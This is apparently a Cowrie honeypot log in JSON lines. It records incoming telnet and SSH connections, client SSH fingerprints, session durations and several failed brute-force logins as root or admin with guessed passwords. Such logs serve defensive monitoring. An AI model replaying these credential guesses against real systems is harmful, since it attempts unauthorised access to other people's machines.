{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36030,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f3eac244f0","protocol":"telnet","message":"New connection: 188.166.220.49:36030 (159.203.135.109:23) [session: 01f3eac244f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:21.263134Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37288,"dst_ip":"159.203.135.109","dst_port":23,"session":"481d3bd27a32","protocol":"telnet","message":"New connection: 188.166.220.49:37288 (159.203.135.109:23) [session: 481d3bd27a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:22.379860Z"}
{"eventid":"cowrie.session.closed","duration":41.41040825843811,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:30.171417Z","src_ip":"188.166.220.49","session":"74dfad79f1d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00159072875977,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:31.336543Z","src_ip":"189.26.176.246","session":"581a343606dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":33836,"dst_ip":"159.203.135.109","dst_port":23,"session":"e099dfcff81c","protocol":"telnet","message":"New connection: 189.26.176.246:33836 (159.203.135.109:23) [session: e099dfcff81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:31.624969Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49032,"dst_ip":"159.203.135.109","dst_port":23,"session":"07b5242fc8a6","protocol":"telnet","message":"New connection: 188.166.220.49:49032 (159.203.135.109:23) [session: 07b5242fc8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:31.865104Z"}
{"eventid":"cowrie.session.closed","duration":120.00171971321106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:32.686399Z","src_ip":"189.26.176.246","session":"7d812ca25cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25559210777283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:33.382036Z","src_ip":"188.166.220.49","session":"83fa1f0fb13f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38886,"dst_ip":"10.17.0.5","dst_port":22,"session":"4129a6d57d2d","protocol":"ssh","message":"New connection: 194.59.206.2:38886 (10.17.0.5:22) [session: 4129a6d57d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:33.664140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:33.669936Z","src_ip":"194.59.206.2","session":"4129a6d57d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:33.775465Z","src_ip":"194.59.206.2","session":"4129a6d57d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:33.874642Z","src_ip":"194.59.206.2","session":"4129a6d57d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40544,"dst_ip":"159.203.135.109","dst_port":23,"session":"301b13b33145","protocol":"telnet","message":"New connection: 46.4.8.162:40544 (159.203.135.109:23) [session: 301b13b33145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:34.027217Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":55270,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac495c8e289c","protocol":"telnet","message":"New connection: 188.166.220.49:55270 (159.203.135.109:23) [session: ac495c8e289c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:35.784879Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":33854,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1aed94015d","protocol":"telnet","message":"New connection: 189.26.176.246:33854 (159.203.135.109:23) [session: 7b1aed94015d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:35.985122Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40554,"dst_ip":"159.203.135.109","dst_port":23,"session":"084fcf0d3136","protocol":"telnet","message":"New connection: 46.4.8.162:40554 (159.203.135.109:23) [session: 084fcf0d3136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:36.562682Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:37.475582Z","src_ip":"60.217.22.185","session":"0bd8d163ed57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40564,"dst_ip":"159.203.135.109","dst_port":23,"session":"2345b4b2420f","protocol":"telnet","message":"New connection: 46.4.8.162:40564 (159.203.135.109:23) [session: 2345b4b2420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:39.898906Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40572,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b756c10f2b6","protocol":"telnet","message":"New connection: 46.4.8.162:40572 (159.203.135.109:23) [session: 6b756c10f2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:41.302560Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40574,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3771d2e170","protocol":"telnet","message":"New connection: 46.4.8.162:40574 (159.203.135.109:23) [session: da3771d2e170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:43.351014Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8c247343727","protocol":"telnet","message":"New connection: 46.4.8.162:53502 (159.203.135.109:23) [session: b8c247343727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:43.601821Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53508,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee153b3cd43e","protocol":"telnet","message":"New connection: 46.4.8.162:53508 (159.203.135.109:23) [session: ee153b3cd43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:43.641051Z"}
{"eventid":"cowrie.session.closed","duration":34.10016202926636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:45.194612Z","src_ip":"188.166.220.49","session":"5898edf1cb2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":53518,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d9792b988d","protocol":"telnet","message":"New connection: 46.4.8.162:53518 (159.203.135.109:23) [session: 55d9792b988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:47.626102Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.122.248.223","src_port":57450,"dst_ip":"10.17.0.5","dst_port":23,"session":"354633ed6cea","protocol":"telnet","message":"New connection: 181.122.248.223:57450 (10.17.0.5:23) [session: 354633ed6cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:49.973461Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":51901,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec4f71eb6e4","protocol":"ssh","message":"New connection: 223.197.186.7:51901 (159.203.135.109:22) [session: 2ec4f71eb6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:51.699431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:51.704562Z","src_ip":"223.197.186.7","session":"2ec4f71eb6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:51.928185Z","src_ip":"223.197.186.7","session":"2ec4f71eb6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12!@","message":"login attempt [root/Admin12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:52.843625Z","src_ip":"223.197.186.7","session":"2ec4f71eb6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46904,"dst_ip":"159.203.135.109","dst_port":23,"session":"1271056d7357","protocol":"telnet","message":"New connection: 46.4.8.162:46904 (159.203.135.109:23) [session: 1271056d7357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:53.961102Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:54.063064Z","src_ip":"223.197.186.7","session":"2ec4f71eb6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46914,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f65cda9877c","protocol":"telnet","message":"New connection: 46.4.8.162:46914 (159.203.135.109:23) [session: 5f65cda9877c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:55.167476Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46932,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90c9b5bbaa4","protocol":"telnet","message":"New connection: 46.4.8.162:46932 (159.203.135.109:23) [session: b90c9b5bbaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:55.735212Z"}
{"eventid":"cowrie.session.closed","duration":34.59089922904968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:55.853938Z","src_ip":"188.166.220.49","session":"01f3eac244f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46930,"dst_ip":"159.203.135.109","dst_port":23,"session":"df72e4285649","protocol":"telnet","message":"New connection: 46.4.8.162:46930 (159.203.135.109:23) [session: df72e4285649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:56.215551Z"}
{"eventid":"cowrie.session.closed","duration":36.09672427177429,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:57.243065Z","src_ip":"188.166.220.49","session":"0f1deff40d8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.398112058639526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:14:57.777856Z","src_ip":"188.166.220.49","session":"481d3bd27a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46934,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18a2ac5d12e","protocol":"telnet","message":"New connection: 46.4.8.162:46934 (159.203.135.109:23) [session: f18a2ac5d12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:00.522796Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":51170,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3ad6e21205","protocol":"ssh","message":"New connection: 103.148.100.146:51170 (159.203.135.109:22) [session: fc3ad6e21205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:00.655495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:00.662237Z","src_ip":"103.148.100.146","session":"fc3ad6e21205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46940,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5621c93c6c0","protocol":"telnet","message":"New connection: 46.4.8.162:46940 (159.203.135.109:23) [session: e5621c93c6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:00.829811Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:00.925621Z","src_ip":"103.148.100.146","session":"fc3ad6e21205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46954,"dst_ip":"159.203.135.109","dst_port":23,"session":"f19b5b801cf3","protocol":"telnet","message":"New connection: 46.4.8.162:46954 (159.203.135.109:23) [session: f19b5b801cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:01.298180Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234QWER","message":"login attempt [root/qwer1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:02.002494Z","src_ip":"103.148.100.146","session":"fc3ad6e21205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c456da18bab6","protocol":"telnet","message":"New connection: 188.166.220.49:60116 (159.203.135.109:23) [session: c456da18bab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:02.631465Z"}
{"eventid":"cowrie.session.closed","duration":12.97701358795166,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:02.950278Z","src_ip":"181.122.248.223","session":"354633ed6cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33246,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cb46cf99ba3","protocol":"ssh","message":"New connection: 159.203.92.129:33246 (159.203.135.109:22) [session: 0cb46cf99ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:02.958015Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:03.271137Z","src_ip":"103.148.100.146","session":"fc3ad6e21205","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:03.293481Z","src_ip":"159.203.92.129","session":"0cb46cf99ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:03.297618Z","src_ip":"159.203.92.129","session":"0cb46cf99ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":51028,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e02d560943f","protocol":"ssh","message":"New connection: 80.94.92.168:51028 (159.203.135.109:22) [session: 0e02d560943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:03.816666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:03.896203Z","src_ip":"80.94.92.168","session":"0e02d560943f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass123","message":"login attempt [admin/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.025632Z","src_ip":"159.203.92.129","session":"0cb46cf99ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:15:04.059384Z","src_ip":"80.94.92.168","session":"0e02d560943f","protocol":"ssh"}
